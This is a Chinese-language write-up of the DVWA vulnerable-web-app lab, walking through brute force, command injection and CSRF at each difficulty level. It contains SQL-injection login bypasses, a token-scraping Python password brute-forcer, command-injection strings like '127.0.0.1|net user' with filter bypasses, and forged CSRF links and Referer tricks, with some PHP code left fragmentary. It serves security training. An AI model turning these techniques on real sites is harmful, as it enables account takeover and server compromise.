DVWA实践

DVWA实践

Web漏洞原理


1. DVWA环境搭建

Warmpserver+DVWA

2. Brute Force(暴力破解)

暴力破解指的是攻击者利用字典来穷举拆解出用户的账号和密码。

2.1 Low

代码:

' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' ); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "

Welcome to the password protected area {$user}

"; echo ""; } else { // Login failed echo "

Username and/or password incorrect.
"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

服务器没有对user和password进行过滤处理,可能存在sql注入:
username:admin' and 1=1 -- -
password:123

DVWA实践_第1张图片
Screenshot-2018-3-12 Vulnerability Brute Force Damn Vulnerable Web Application (DVWA) v1 10 Development .png-54.2kB

果然,登陆成功。
利用Burpsuite爆破admin的密码为password:
DVWA实践_第2张图片
1.png-103.2kB

2.2 Medium

代码:

' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' ); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "

Welcome to the password protected area {$user}

"; echo ""; } else { // Login failed sleep( 2 ); echo "

Username and/or password incorrect.
"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

对输入的username和password进行了过滤,基本可以防止sql注入
(MySQL5.5.37以下版本如果设置编码为GBK,能够构造编码绕过mysql_real_escape_string 对单引号的转义:宽字符注入)

  • 宽字符注入
    条件:编码为GBK,函数mysql_real_escape_string或addslashes()
    原理:payload=%df%27,mysql_real_escape_string或addslashes() 函数转义单引号'(%27)之后变成%df%5c527(%df'),在GBK编码表中,df5c是一个宽字符,也就是“縗”,从而使单引号'逃脱了转义字符\,从而造成了注入。

虽然我所用的MySQL版本比较新,不能用宽字符注入,但是依然可以用Burpsuite暴力破解:


DVWA实践_第3张图片
aaaa.png-95.7kB

2.3 High

代码:

' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' ); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "

Welcome to the password protected area {$user}

"; echo ""; } else { // Login failed sleep( rand( 0, 3 ) ); echo "

Username and/or password incorrect.
"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>

对username和password进行了过滤,防止sql注入,同时加入了Anti-CSRF token,关键就是要拿到这个token再进行爆破:
python脚本:

from bs4 import BeautifulSoup
from urllib import request
url='http://192.168.0.115/dvwa/vulnerabilities/brute/index.php'
header={'Host': '192.168.0.115',
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Referer': 'http://192.168.0.115/dvwa/vulnerabilities/brute/index.php',
'Cookie': 'security=high; PHPSESSID=as94j6ostr2dnu3utbaeo264j7'}
def gettoken(url,header):
    req=request.Request(url=url,headers=header)
    response=request.urlopen(req)
    page=response.read()
    soup=BeautifulSoup(page,"html.parser")
    user_token=soup.find('input',attrs={'name':'user_token'})['value']
    print(response.getcode(),len(page))
    return user_token
user_token=gettoken(url,header)
for line in open('E:/CTF/Dictionary/rkolin.txt'):
    url='http://192.168.0.115/dvwa/vulnerabilities/brute/index.php?username=admin&password='+line.strip()+'&Login=Login&user_token='+user_token
    print('admin',line.strip())
    user_token=gettoken(url=url,header=header)

运行结果:

200 5210
admin password
200 5402
admin 123456789
200 5262
admin 1234567890
200 5262
admin a123456789
200 5262
admin 123456
200 5262
admin qq123456
200 5262
admin abc123456
200 5262
admin 123456789a
200 5262
admin WOAINI1314
200 5262
admin 12345678
200 5262
admin 11111111
200 5262
admin 123123123
200 5262
admin 88888888
200 5262
admin 111111111
200 5262
admin 147258369
200 5262
...

利用Burpsuite来查看运行结果更加直观(cmd设置代理:set http_proxy=127.0.0.1:8080,再在cmd中运行python脚本即可,取消代理设置只需要输入set http_proxy=

DVWA实践_第4张图片
ssss.png-185.9kB

2.4 Impossible

代码:

prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "

This account has been locked due to too many incorrect logins.
"; // Calculate when the user would be allowed to login again $last_login = strtotime( $row[ 'last_login' ] ); $timeout = $last_login + ($lockout_time * 60); $timenow = time(); /* print "The last login was: " . date ("h:i:s", $last_login) . "
"; print "The timenow is: " . date ("h:i:s", $timenow) . "
"; print "The timeout is: " . date ("h:i:s", $timeout) . "
"; */ // Check to see if enough time has passed, if it hasn't locked the account if( $timenow < $timeout ) { $account_locked = true; // print "The account is locked
"; } } // Check the database (if username matches the password) $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR); $data->bindParam( ':password', $pass, PDO::PARAM_STR ); $data->execute(); $row = $data->fetch(); // If its a valid login... if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) { // Get users details $avatar = $row[ 'avatar' ]; $failed_login = $row[ 'failed_login' ]; $last_login = $row[ 'last_login' ]; // Login successful echo "

Welcome to the password protected area {$user}

"; echo ""; // Had the account been locked out since last login? if( $failed_login >= $total_failed_login ) { echo "

Warning: Someone might of been brute forcing your account.

"; echo "

Number of login attempts: {$failed_login}.
Last login attempt was at: ${last_login}.

"; } // Reset bad login count $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } else { // Login failed sleep( rand( 2, 4 ) ); // Give the user some feedback echo "

Username and/or password incorrect.

Alternative, the account has been locked because of too many failed logins.
If this is the case, please try again in {$lockout_time} minutes.
"; // Update bad login count $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } // Set the last login time $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' ); $data->bindParam( ':user', $user, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?>

加入了输错密码3次就15分钟后再试的防爆破保护机制。

3. Command Injection(命令注入)

命令注入漏洞指的是通过提交恶意构造的参数来破坏命令语句结构,如果没有对输入的字符进行限制和过滤,从而达到执行恶意命令的目的,获取服务器的信息。

3.1 Low

代码:

{$cmd}
"; } ?>

服务器对输入的内容没有做过滤,输入:127.0.0.1&&net user得到:


DVWA实践_第5张图片
Screenshot-2018-3-12 Vulnerability Command Injection Damn Vulnerable Web Application (DVWA) v1 10 Development .png-55.4kB

3.2 Medium

代码:

 '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "
{$cmd}
"; } ?>

服务器只对'&&',';'进行了过滤,于是可以输入127.0.0.1&net user实现命令注入:

  • &和&&的区别
    &会执行两边,不管第一个是否成立,&&只会执行一边,如果第一个条件为假,则不会走第二个条件
DVWA实践_第6张图片
Screenshot-2018-3-12 Vulnerability Command Injection Damn Vulnerable Web Application (DVWA) v1 10 Development (1).png-55.5kB

3.3 High

代码:

 '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "
{$cmd}
"; } ?>

服务器对多个字符进行了过滤,但是‘| ’左边是个空格,所以依然可以用|来实现命令注入:
127.0.0.1|net user

DVWA实践_第7张图片
Screenshot-2018-3-12 Vulnerability Command Injection Damn Vulnerable Web Application (DVWA) v1 10 Development (2).png-36.9kB

3.4 Impossible

代码:

{$cmd}
"; } else { // Ops. Let the user name theres a mistake echo '
ERROR: You have entered an invalid IP.
'; } } // Generate Anti-CSRF token generateSessionToken(); ?>

从上面可见,设置黑名单难免会有疏漏,找到可以绕过的方法,但是impossible是设置白名单,只允许IP:数字.数字.数字.数字的形式。

4. Cross Site Request Forgery (CSRF,跨站请求伪造)

跨站请求伪造指的是攻击者诱使客户机点击精心构造的恶意链接或者访问包含攻击代码的网页,从而利用客户机尚未失效的认证信息(如cookie)向服务器发送请求,完成转账,修改密码等非法操作。
CSRF并没有盗取受害者的cookie,而是直接利用cookie。

4.1 Low

代码:

' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' ); // Feedback for the user echo "
Password Changed.
"; } else { // Issue with passwords matching echo "
Passwords did not match.
"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
  • 构造攻击链接
    没有加入token验证,没有在请求包中添加限制,直接构造链接诱使客户端A点击即可修改密码:http://192.168.0.115/dvwa/vulnerabilities/csrf/?password_new=aaa&password_conf=aaa&Change=Change#,csrf的关键是利用客户端A的cookie来向服务器B发送伪造请求,所以换了浏览器来点击这个链接,攻击就不会触发了。
  • 构造攻击页面(放在攻击者的服务器中)
    将攻击链接放到一个页面里,诱使客户端A访问这个页面。


404

file not found.

测试:
客户端A:虚拟机
服务器B:192.168.0.115(正常的服务器)
服务器C:192.168.0.102(攻击者的服务器)
A访问192.168.0.102/csrf.html,触发了csrf攻击,密码被修改。

DVWA实践_第8张图片
asdf.png-6.5kB

4.2 Medium

代码:

' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' ); // Feedback for the user echo "
Password Changed.
"; } else { // Issue with passwords matching echo "
Passwords did not match.
"; } } else { // Didn't come from a trusted source echo "
That request didn't look correct.
"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ])中查找了host在referer中出现的位置,说明host:192.168.0.115必须在referer中出现。
尝试了一下用Modify headers添加了referer:192.168.0.115,成功绕过了限制,当然现实当中你是无法修改到客户端A的headers请求的

GET /dvwa/vulnerabilities/csrf/?password_new=aaa&password_conf=aaa&Change=Change HTTP/1.1
Host: 192.168.0.115
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: security=medium; PHPSESSID=as94j6ostr2dnu3utbaeo264j7
Referer: 192.168.0.115
Connection: close
Upgrade-Insecure-Requests: 1

DVWA实践_第9张图片
asfdsf.png-10.6kB

所以,我们继续构造一个攻击页面(放在服务器C中)诱使客户端A点击,令页面名为: 192.168.0.115.html,即可在referer中出现 192.168.0.115了。



404

file not found.

DVWA实践_第10张图片
asdfg.png-6.6kB

DVWA实践_第11张图片
gadf.png-38.9kB
Accept:image/webp,image/*,*/*;q=0.8
Accept-Encoding:gzip, deflate, sdch
Accept-Language:zh-CN,zh;q=0.8
Cache-Control:max-age=0
Connection:keep-alive
Cookie:security=low; PHPSESSID=5i5e7981afgjqbd8ve9i1r23d7
Host:192.168.0.115
Referer:http://192.168.0.102/192.168.0.115.html
User-Agent:Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.101 Safari/537.36

4.3 High

代码:

' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' ); // Feedback for the user echo "
Password Changed.
"; } else { // Issue with passwords matching echo "
Passwords did not match.
"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>

服务器添加了anti CSRF-token,需要验证token才能更改密码。同样的思路,构造攻击页面放在攻击者的服务器中,页面中写入脚本来获取客户端A的token。

  • 但是涉及到同源策略:
  1. 同源:两个页面的协议,端口(如果有指定)和域名都相同,则两个页面具有相同的源。
  2. 因为C:192.168.0.102,B:192.168.0.115,虽然两者协议都是http,端口没指定,但是两者不是同一个域名(IP),则不同源。
  3. 服务器C中的脚本不能用来请求获取服务器B中的内容,值得注意的是,同源策略限制的是脚本嵌入的文本来源,而不是脚本本身,以此来防止恶意脚本读取内容。

这里可以结合XSS来获取用户的token,XSS+CSRF达到修改用户密码的目的。
在可以注入XSS的页面中,
输入: